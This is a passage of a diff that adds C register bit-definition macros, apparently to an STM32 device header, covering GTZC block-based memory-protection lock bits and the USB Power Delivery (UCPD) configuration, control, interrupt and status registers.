GTZC_MPCBB_CR_GLOCK_Pos) /*!< 0x00000001 */ +#define GTZC_MPCBB_CR_INVSECSTATE_Pos (30U) +#define GTZC_MPCBB_CR_INVSECSTATE_Msk (0x01UL << GTZC_MPCBB_CR_INVSECSTATE_Pos) /*!< 0x40000000 */ +#define GTZC_MPCBB_CR_SRWILADIS_Pos (31U) +#define GTZC_MPCBB_CR_SRWILADIS_Msk (0x01UL << GTZC_MPCBB_CR_SRWILADIS_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for GTZC_MPCBB_CFGLOCKR1 register ************/ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK0_Pos (0U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK0_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK0_Pos) /*!< 0x00000001 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK1_Pos (1U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK1_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK1_Pos) /*!< 0x00000002 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK2_Pos (2U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK2_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK2_Pos) /*!< 0x00000004 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK3_Pos (3U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK3_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK3_Pos) /*!< 0x00000008 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK4_Pos (4U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK4_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK4_Pos) /*!< 0x00000010 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK5_Pos (5U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK5_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK5_Pos) /*!< 0x00000020 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK6_Pos (6U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK6_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK6_Pos) /*!< 0x00000040 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK7_Pos (7U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK7_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK7_Pos) /*!< 0x00000080 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK8_Pos (8U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK8_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK8_Pos) /*!< 0x00000100 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK9_Pos (9U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK9_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK9_Pos) /*!< 0x00000200 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK10_Pos (10U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK10_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK10_Pos) /*!< 0x00000400 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK11_Pos (11U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK11_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK11_Pos) /*!< 0x00000800 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK12_Pos (12U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK12_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK12_Pos) /*!< 0x00001000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK13_Pos (13U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK13_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK13_Pos) /*!< 0x00002000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK14_Pos (14U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK14_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK14_Pos) /*!< 0x00004000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK15_Pos (15U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK15_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK15_Pos) /*!< 0x00008000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK16_Pos (16U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK16_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK16_Pos) /*!< 0x00010000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK17_Pos (17U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK17_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK17_Pos) /*!< 0x00020000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK18_Pos (18U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK18_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK18_Pos) /*!< 0x00040000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK19_Pos (19U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK19_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK19_Pos) /*!< 0x00080000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK20_Pos (20U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK20_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK20_Pos) /*!< 0x00100000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK21_Pos (21U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK21_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK21_Pos) /*!< 0x00200000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK22_Pos (22U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK22_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK22_Pos) /*!< 0x00400000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK23_Pos (23U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK23_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK23_Pos) /*!< 0x00800000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK24_Pos (24U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK24_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK24_Pos) /*!< 0x01000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK25_Pos (25U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK25_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK25_Pos) /*!< 0x02000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK26_Pos (26U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK26_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK26_Pos) /*!< 0x04000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK27_Pos (27U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK27_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK27_Pos) /*!< 0x08000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK28_Pos (28U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK28_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK28_Pos) /*!< 0x10000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK29_Pos (29U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK29_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK29_Pos) /*!< 0x20000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK30_Pos (30U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK30_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK30_Pos) /*!< 0x40000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK31_Pos (31U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK31_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK31_Pos) /*!< 0x80000000 */ + + +/******************************************************************************/ +/* */ +/* UCPD */ +/* */ +/******************************************************************************/ +/******************** Bits definition for UCPD_CFG1 register *******************/ +#define UCPD_CFG1_HBITCLKDIV_Pos (0U) +#define UCPD_CFG1_HBITCLKDIV_Msk (0x3FUL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x0000003F */ +#define UCPD_CFG1_HBITCLKDIV UCPD_CFG1_HBITCLKDIV_Msk /*!< Number of cycles (minus 1) for a half bit clock */ +#define UCPD_CFG1_HBITCLKDIV_0 (0x01UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000001 */ +#define UCPD_CFG1_HBITCLKDIV_1 (0x02UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000002 */ +#define UCPD_CFG1_HBITCLKDIV_2 (0x04UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000004 */ +#define UCPD_CFG1_HBITCLKDIV_3 (0x08UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000008 */ +#define UCPD_CFG1_HBITCLKDIV_4 (0x10UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000010 */ +#define UCPD_CFG1_HBITCLKDIV_5 (0x20UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000020 */ +#define UCPD_CFG1_IFRGAP_Pos (6U) +#define UCPD_CFG1_IFRGAP_Msk (0x1FUL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x000007C0 */ +#define UCPD_CFG1_IFRGAP UCPD_CFG1_IFRGAP_Msk /*!< Clock divider value to generates Interframe gap */ +#define UCPD_CFG1_IFRGAP_0 (0x01UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000040 */ +#define UCPD_CFG1_IFRGAP_1 (0x02UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000080 */ +#define UCPD_CFG1_IFRGAP_2 (0x04UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000100 */ +#define UCPD_CFG1_IFRGAP_3 (0x08UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000200 */ +#define UCPD_CFG1_IFRGAP_4 (0x10UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000400 */ +#define UCPD_CFG1_TRANSWIN_Pos (11U) +#define UCPD_CFG1_TRANSWIN_Msk (0x1FUL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x0000F800 */ +#define UCPD_CFG1_TRANSWIN UCPD_CFG1_TRANSWIN_Msk /*!< Number of cycles (minus 1) of the half bit clock */ +#define UCPD_CFG1_TRANSWIN_0 (0x01UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00000800 */ +#define UCPD_CFG1_TRANSWIN_1 (0x02UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00001000 */ +#define UCPD_CFG1_TRANSWIN_2 (0x04UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00002000 */ +#define UCPD_CFG1_TRANSWIN_3 (0x08UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00004000 */ +#define UCPD_CFG1_TRANSWIN_4 (0x10UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00008000 */ +#define UCPD_CFG1_PSC_UCPDCLK_Pos (17U) +#define UCPD_CFG1_PSC_UCPDCLK_Msk (0x7UL << UCPD_CFG1_PSC_UCPDCLK_Pos) /*!< 0x000E0000 */ +#define UCPD_CFG1_PSC_UCPDCLK UCPD_CFG1_PSC_UCPDCLK_Msk /*!< Prescaler for UCPDCLK */ +#define UCPD_CFG1_PSC_UCPDCLK_0 (0x1UL << UCPD_CFG1_PSC_UCPDCLK_Pos) /*!< 0x00020000 */ +#define UCPD_CFG1_PSC_UCPDCLK_1 (0x2UL << UCPD_CFG1_PSC_UCPDCLK_Pos) /*!< 0x00040000 */ +#define UCPD_CFG1_PSC_UCPDCLK_2 (0x4UL << UCPD_CFG1_PSC_UCPDCLK_Pos) /*!< 0x00080000 */ +#define UCPD_CFG1_RXORDSETEN_Pos (20U) +#define UCPD_CFG1_RXORDSETEN_Msk (0x1FFUL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x1FF00000 */ +#define UCPD_CFG1_RXORDSETEN UCPD_CFG1_RXORDSETEN_Msk /*!< Receiver ordered set detection enable */ +#define UCPD_CFG1_RXORDSETEN_0 (0x001UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x00100000 */ +#define UCPD_CFG1_RXORDSETEN_1 (0x002UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x00200000 */ +#define UCPD_CFG1_RXORDSETEN_2 (0x004UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x00400000 */ +#define UCPD_CFG1_RXORDSETEN_3 (0x008UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x00800000 */ +#define UCPD_CFG1_RXORDSETEN_4 (0x010UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x01000000 */ +#define UCPD_CFG1_RXORDSETEN_5 (0x020UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x02000000 */ +#define UCPD_CFG1_RXORDSETEN_6 (0x040UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x04000000 */ +#define UCPD_CFG1_RXORDSETEN_7 (0x080UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x08000000 */ +#define UCPD_CFG1_RXORDSETEN_8 (0x100UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x10000000 */ +#define UCPD_CFG1_TXDMAEN_Pos (29U) +#define UCPD_CFG1_TXDMAEN_Msk (0x1UL << UCPD_CFG1_TXDMAEN_Pos) /*!< 0x20000000 */ +#define UCPD_CFG1_TXDMAEN UCPD_CFG1_TXDMAEN_Msk /*!< DMA transmission requests enable */ +#define UCPD_CFG1_RXDMAEN_Pos (30U) +#define UCPD_CFG1_RXDMAEN_Msk (0x1UL << UCPD_CFG1_RXDMAEN_Pos) /*!< 0x40000000 */ +#define UCPD_CFG1_RXDMAEN UCPD_CFG1_RXDMAEN_Msk /*!< DMA reception requests enable */ +#define UCPD_CFG1_UCPDEN_Pos (31U) +#define UCPD_CFG1_UCPDEN_Msk (0x1UL << UCPD_CFG1_UCPDEN_Pos) /*!< 0x80000000 */ +#define UCPD_CFG1_UCPDEN UCPD_CFG1_UCPDEN_Msk /*!< USB Power Delivery Block Enable */ + +/******************** Bits definition for UCPD_CFG2 register *******************/ +#define UCPD_CFG2_RXFILTDIS_Pos (0U) +#define UCPD_CFG2_RXFILTDIS_Msk (0x1UL << UCPD_CFG2_RXFILTDIS_Pos) /*!< 0x00000001 */ +#define UCPD_CFG2_RXFILTDIS UCPD_CFG2_RXFILTDIS_Msk /*!< Enables an Rx pre-filter for the BMC decoder */ +#define UCPD_CFG2_RXFILT2N3_Pos (1U) +#define UCPD_CFG2_RXFILT2N3_Msk (0x1UL << UCPD_CFG2_RXFILT2N3_Pos) /*!< 0x00000002 */ +#define UCPD_CFG2_RXFILT2N3 UCPD_CFG2_RXFILT2N3_Msk /*!< Controls the sampling method for an Rx pre-filter for the BMC decode */ +#define UCPD_CFG2_FORCECLK_Pos (2U) +#define UCPD_CFG2_FORCECLK_Msk (0x1UL << UCPD_CFG2_FORCECLK_Pos) /*!< 0x00000004 */ +#define UCPD_CFG2_FORCECLK UCPD_CFG2_FORCECLK_Msk /*!< Controls forcing of the clock request UCPDCLK_REQ */ +#define UCPD_CFG2_WUPEN_Pos (3U) +#define UCPD_CFG2_WUPEN_Msk (0x1UL << UCPD_CFG2_WUPEN_Pos) /*!< 0x00000008 */ +#define UCPD_CFG2_WUPEN UCPD_CFG2_WUPEN_Msk /*!< Wakeup from STOP enable */ +#define UCPD_CFG2_RXAFILTEN_Pos (8U) +#define UCPD_CFG2_RXAFILTEN_Msk (0x1UL << UCPD_CFG2_RXAFILTEN_Pos) /*!< 0x00000100 */ +#define UCPD_CFG2_RXAFILTEN UCPD_CFG2_RXAFILTEN_Msk /*!< Rx analog filter enable */ + +/******************** Bits definition for UCPD_CFG3 register *******************/ +#define UCPD_CFG3_TRIM_CC1_RD_Pos (0U) +#define UCPD_CFG3_TRIM_CC1_RD_Msk (0xFUL << UCPD_CFG3_TRIM_CC1_RD_Pos) /*!< 0x0000000F */ +#define UCPD_CFG3_TRIM_CC1_RD UCPD_CFG3_TRIM_CC1_RD_Msk /*!< SW trim value for RD resistor (CC1) */ +#define UCPD_CFG3_TRIM_CC1_RP_Pos (9U) +#define UCPD_CFG3_TRIM_CC1_RP_Msk (0xFUL << UCPD_CFG3_TRIM_CC1_RP_Pos) /*!< 0x00001E00 */ +#define UCPD_CFG3_TRIM_CC1_RP UCPD_CFG3_TRIM_CC1_RP_Msk /*!< SW trim value for RP current sources (CC1) */ +#define UCPD_CFG3_TRIM_CC2_RD_Pos (16U) +#define UCPD_CFG3_TRIM_CC2_RD_Msk (0xFUL << UCPD_CFG3_TRIM_CC2_RD_Pos) /*!< 0x000F0000 */ +#define UCPD_CFG3_TRIM_CC2_RD UCPD_CFG3_TRIM_CC2_RD_Msk /*!< SW trim value for RD resistor (CC2) */ +#define UCPD_CFG3_TRIM_CC2_RP_Pos (25U) +#define UCPD_CFG3_TRIM_CC2_RP_Msk (0xFUL << UCPD_CFG3_TRIM_CC2_RP_Pos) /*!< 0x1E000000 */ +#define UCPD_CFG3_TRIM_CC2_RP UCPD_CFG3_TRIM_CC2_RP_Msk /*!< SW trim value for RP current sources (CC2) */ + +/******************** Bits definition for UCPD_CR register ********************/ +#define UCPD_CR_TXMODE_Pos (0U) +#define UCPD_CR_TXMODE_Msk (0x3UL << UCPD_CR_TXMODE_Pos) /*!< 0x00000003 */ +#define UCPD_CR_TXMODE UCPD_CR_TXMODE_Msk /*!< Type of Tx packet */ +#define UCPD_CR_TXMODE_0 (0x1UL << UCPD_CR_TXMODE_Pos) /*!< 0x00000001 */ +#define UCPD_CR_TXMODE_1 (0x2UL << UCPD_CR_TXMODE_Pos) /*!< 0x00000002 */ +#define UCPD_CR_TXSEND_Pos (2U) +#define UCPD_CR_TXSEND_Msk (0x1UL << UCPD_CR_TXSEND_Pos) /*!< 0x00000004 */ +#define UCPD_CR_TXSEND UCPD_CR_TXSEND_Msk /*!< Type of Tx packet */ +#define UCPD_CR_TXHRST_Pos (3U) +#define UCPD_CR_TXHRST_Msk (0x1UL << UCPD_CR_TXHRST_Pos) /*!< 0x00000008 */ +#define UCPD_CR_TXHRST UCPD_CR_TXHRST_Msk /*!< Command to send a Tx Hard Reset */ +#define UCPD_CR_RXMODE_Pos (4U) +#define UCPD_CR_RXMODE_Msk (0x1UL << UCPD_CR_RXMODE_Pos) /*!< 0x00000010 */ +#define UCPD_CR_RXMODE UCPD_CR_RXMODE_Msk /*!< Receiver mode */ +#define UCPD_CR_PHYRXEN_Pos (5U) +#define UCPD_CR_PHYRXEN_Msk (0x1UL << UCPD_CR_PHYRXEN_Pos) /*!< 0x00000020 */ +#define UCPD_CR_PHYRXEN UCPD_CR_PHYRXEN_Msk /*!< Controls enable of USB Power Delivery receiver */ +#define UCPD_CR_PHYCCSEL_Pos (6U) +#define UCPD_CR_PHYCCSEL_Msk (0x1UL << UCPD_CR_PHYCCSEL_Pos) /*!< 0x00000040 */ +#define UCPD_CR_PHYCCSEL UCPD_CR_PHYCCSEL_Msk /*!< */ +#define UCPD_CR_ANASUBMODE_Pos (7U) +#define UCPD_CR_ANASUBMODE_Msk (0x3UL << UCPD_CR_ANASUBMODE_Pos) /*!< 0x00000180 */ +#define UCPD_CR_ANASUBMODE UCPD_CR_ANASUBMODE_Msk /*!< Analog PHY sub-mode */ +#define UCPD_CR_ANASUBMODE_0 (0x1UL << UCPD_CR_ANASUBMODE_Pos) /*!< 0x00000080 */ +#define UCPD_CR_ANASUBMODE_1 (0x2UL << UCPD_CR_ANASUBMODE_Pos) /*!< 0x00000100 */ +#define UCPD_CR_ANAMODE_Pos (9U) +#define UCPD_CR_ANAMODE_Msk (0x1UL << UCPD_CR_ANAMODE_Pos) /*!< 0x00000200 */ +#define UCPD_CR_ANAMODE UCPD_CR_ANAMODE_Msk /*!< Analog PHY working mode */ +#define UCPD_CR_CCENABLE_Pos (10U) +#define UCPD_CR_CCENABLE_Msk (0x3UL << UCPD_CR_CCENABLE_Pos) /*!< 0x00000C00 */ +#define UCPD_CR_CCENABLE UCPD_CR_CCENABLE_Msk /*!< */ +#define UCPD_CR_CCENABLE_0 (0x1UL << UCPD_CR_CCENABLE_Pos) /*!< 0x00000400 */ +#define UCPD_CR_CCENABLE_1 (0x2UL << UCPD_CR_CCENABLE_Pos) /*!< 0x00000800 */ +#define UCPD_CR_USEEXTPHY_Pos (12U) +#define UCPD_CR_USEEXTPHY_Msk (0x1UL << UCPD_CR_USEEXTPHY_Pos) /*!< 0x00001000 */ +#define UCPD_CR_USEEXTPHY UCPD_CR_USEEXTPHY_Msk /*!< Controls enable of USB Power Delivery transmitter */ +#define UCPD_CR_CC2VCONNEN_Pos (13U) +#define UCPD_CR_CC2VCONNEN_Msk (0x1UL << UCPD_CR_CC2VCONNEN_Pos) /*!< 0x00002000 */ +#define UCPD_CR_CC2VCONNEN UCPD_CR_CC2VCONNEN_Msk /*!< VCONN enable for CC2 */ +#define UCPD_CR_CC1VCONNEN_Pos (14U) +#define UCPD_CR_CC1VCONNEN_Msk (0x1UL << UCPD_CR_CC1VCONNEN_Pos) /*!< 0x00004000 */ +#define UCPD_CR_CC1VCONNEN UCPD_CR_CC1VCONNEN_Msk /*!< VCONN enable for CC1 */ +#define UCPD_CR_DBATEN_Pos (15U) +#define UCPD_CR_DBATEN_Msk (0x1UL << UCPD_CR_DBATEN_Pos) /*!< 0x00008000 */ +#define UCPD_CR_DBATEN UCPD_CR_DBATEN_Msk /*!< Enable dead battery behavior (Active High) */ +#define UCPD_CR_FRSRXEN_Pos (16U) +#define UCPD_CR_FRSRXEN_Msk (0x1UL << UCPD_CR_FRSRXEN_Pos) /*!< 0x00010000 */ +#define UCPD_CR_FRSRXEN UCPD_CR_FRSRXEN_Msk /*!< Enable FRS request detection function */ +#define UCPD_CR_FRSTX_Pos (17U) +#define UCPD_CR_FRSTX_Msk (0x1UL << UCPD_CR_FRSTX_Pos) /*!< 0x00020000 */ +#define UCPD_CR_FRSTX UCPD_CR_FRSTX_Msk /*!< Signal Fast Role Swap request */ +#define UCPD_CR_RDCH_Pos (18U) +#define UCPD_CR_RDCH_Msk (0x1UL << UCPD_CR_RDCH_Pos) /*!< 0x00040000 */ +#define UCPD_CR_RDCH UCPD_CR_RDCH_Msk /*!< */ +#define UCPD_CR_RPUSBABSENT_Pos (19U) +#define UCPD_CR_RPUSBABSENT_Msk (0x1UL << UCPD_CR_RPUSBABSENT_Pos) /*!< 0x00080000 */ +#define UCPD_CR_RPUSBABSENT UCPD_CR_RPUSBABSENT_Msk /*!< */ +#define UCPD_CR_CC1TCDIS_Pos (20U) +#define UCPD_CR_CC1TCDIS_Msk (0x1UL << UCPD_CR_CC1TCDIS_Pos) /*!< 0x00100000 */ +#define UCPD_CR_CC1TCDIS UCPD_CR_CC1TCDIS_Msk /*!< The bit allows the Type-C detector for CC0 to be disabled. */ +#define UCPD_CR_CC2TCDIS_Pos (21U) +#define UCPD_CR_CC2TCDIS_Msk (0x1UL << UCPD_CR_CC2TCDIS_Pos) /*!< 0x00200000 */ +#define UCPD_CR_CC2TCDIS UCPD_CR_CC2TCDIS_Msk /*!< The bit allows the Type-C detector for CC2 to be disabled. */ + +/******************** Bits definition for UCPD_IMR register *******************/ +#define UCPD_IMR_TXISIE_Pos (0U) +#define UCPD_IMR_TXISIE_Msk (0x1UL << UCPD_IMR_TXISIE_Pos) /*!< 0x00000001 */ +#define UCPD_IMR_TXISIE UCPD_IMR_TXISIE_Msk /*!< Enable TXIS interrupt */ +#define UCPD_IMR_TXMSGDISCIE_Pos (1U) +#define UCPD_IMR_TXMSGDISCIE_Msk (0x1UL << UCPD_IMR_TXMSGDISCIE_Pos) /*!< 0x00000002 */ +#define UCPD_IMR_TXMSGDISCIE UCPD_IMR_TXMSGDISCIE_Msk /*!< Enable TXMSGDISC interrupt */ +#define UCPD_IMR_TXMSGSENTIE_Pos (2U) +#define UCPD_IMR_TXMSGSENTIE_Msk (0x1UL << UCPD_IMR_TXMSGSENTIE_Pos) /*!< 0x00000004 */ +#define UCPD_IMR_TXMSGSENTIE UCPD_IMR_TXMSGSENTIE_Msk /*!< Enable TXMSGSENT interrupt */ +#define UCPD_IMR_TXMSGABTIE_Pos (3U) +#define UCPD_IMR_TXMSGABTIE_Msk (0x1UL << UCPD_IMR_TXMSGABTIE_Pos) /*!< 0x00000008 */ +#define UCPD_IMR_TXMSGABTIE UCPD_IMR_TXMSGABTIE_Msk /*!< Enable TXMSGABT interrupt */ +#define UCPD_IMR_HRSTDISCIE_Pos (4U) +#define UCPD_IMR_HRSTDISCIE_Msk (0x1UL << UCPD_IMR_HRSTDISCIE_Pos) /*!< 0x00000010 */ +#define UCPD_IMR_HRSTDISCIE UCPD_IMR_HRSTDISCIE_Msk /*!< Enable HRSTDISC interrupt */ +#define UCPD_IMR_HRSTSENTIE_Pos (5U) +#define UCPD_IMR_HRSTSENTIE_Msk (0x1UL << UCPD_IMR_HRSTSENTIE_Pos) /*!< 0x00000020 */ +#define UCPD_IMR_HRSTSENTIE UCPD_IMR_HRSTSENTIE_Msk /*!< Enable HRSTSENT interrupt */ +#define UCPD_IMR_TXUNDIE_Pos (6U) +#define UCPD_IMR_TXUNDIE_Msk (0x1UL << UCPD_IMR_TXUNDIE_Pos) /*!< 0x00000040 */ +#define UCPD_IMR_TXUNDIE UCPD_IMR_TXUNDIE_Msk /*!< Enable TXUND interrupt */ +#define UCPD_IMR_RXNEIE_Pos (8U) +#define UCPD_IMR_RXNEIE_Msk (0x1UL << UCPD_IMR_RXNEIE_Pos) /*!< 0x00000100 */ +#define UCPD_IMR_RXNEIE UCPD_IMR_RXNEIE_Msk /*!< Enable RXNE interrupt */ +#define UCPD_IMR_RXORDDETIE_Pos (9U) +#define UCPD_IMR_RXORDDETIE_Msk (0x1UL << UCPD_IMR_RXORDDETIE_Pos) /*!< 0x00000200 */ +#define UCPD_IMR_RXORDDETIE UCPD_IMR_RXORDDETIE_Msk /*!< Enable RXORDDET interrupt */ +#define UCPD_IMR_RXHRSTDETIE_Pos (10U) +#define UCPD_IMR_RXHRSTDETIE_Msk (0x1UL << UCPD_IMR_RXHRSTDETIE_Pos) /*!< 0x00000400 */ +#define UCPD_IMR_RXHRSTDETIE UCPD_IMR_RXHRSTDETIE_Msk /*!< Enable RXHRSTDET interrupt */ +#define UCPD_IMR_RXOVRIE_Pos (11U) +#define UCPD_IMR_RXOVRIE_Msk (0x1UL << UCPD_IMR_RXOVRIE_Pos) /*!< 0x00000800 */ +#define UCPD_IMR_RXOVRIE UCPD_IMR_RXOVRIE_Msk /*!< Enable RXOVR interrupt */ +#define UCPD_IMR_RXMSGENDIE_Pos (12U) +#define UCPD_IMR_RXMSGENDIE_Msk (0x1UL << UCPD_IMR_RXMSGENDIE_Pos) /*!< 0x00001000 */ +#define UCPD_IMR_RXMSGENDIE UCPD_IMR_RXMSGENDIE_Msk /*!< Enable RXMSGEND interrupt */ +#define UCPD_IMR_TYPECEVT1IE_Pos (14U) +#define UCPD_IMR_TYPECEVT1IE_Msk (0x1UL << UCPD_IMR_TYPECEVT1IE_Pos) /*!< 0x00004000 */ +#define UCPD_IMR_TYPECEVT1IE UCPD_IMR_TYPECEVT1IE_Msk /*!< Enable TYPECEVT1IE interrupt */ +#define UCPD_IMR_TYPECEVT2IE_Pos (15U) +#define UCPD_IMR_TYPECEVT2IE_Msk (0x1UL << UCPD_IMR_TYPECEVT2IE_Pos) /*!< 0x00008000 */ +#define UCPD_IMR_TYPECEVT2IE UCPD_IMR_TYPECEVT2IE_Msk /*!< Enable TYPECEVT2IE interrupt */ +#define UCPD_IMR_FRSEVTIE_Pos (20U) +#define UCPD_IMR_FRSEVTIE_Msk (0x1UL << UCPD_IMR_FRSEVTIE_Pos) /*!< 0x00100000 */ +#define UCPD_IMR_FRSEVTIE UCPD_IMR_FRSEVTIE_Msk /*!< Fast Role Swap interrupt */ + +/******************** Bits definition for UCPD_SR register ********************/ +#define UCPD_SR_TXIS_Pos (0U) +#define UCPD_SR_TXIS_Msk (0x1UL << UCPD_SR_TXIS_Pos) /*!< 0x00000001 */ +#define UCPD_SR_TXIS UCPD_SR_TXIS_Msk /*!< Transmit interrupt status */ +#define UCPD_SR_TXMSGDISC_Pos (1U) +#define UCPD_SR_TXMSGDISC_Msk (0x1UL << UCPD_SR_TXMSGDISC_Pos) /*!< 0x00000002 */ +#define UCPD_SR_TXMSGDISC UCPD_SR_TXMSGDISC_Msk /*!< Transmit message discarded interrupt */ +#define UCPD_SR_TXMSGSENT_Pos (2U) +#define UCPD_SR_TXMSGSENT_Msk (0x1UL << UCPD_SR_TXMSGSENT_Pos) /*!< 0x00000004 */ +#define UCPD_SR_TXMSGSENT UCPD_SR_TXMSGSENT_Msk /*!< Transmit message sent interrupt */ +#define UCPD_SR_TXMSGABT_Pos (3U) +#define UCPD_SR_TXMSGABT_Msk (0x1UL << UCPD_SR_TXMSGABT_Pos) /*!< 0x00000008 */ +#define 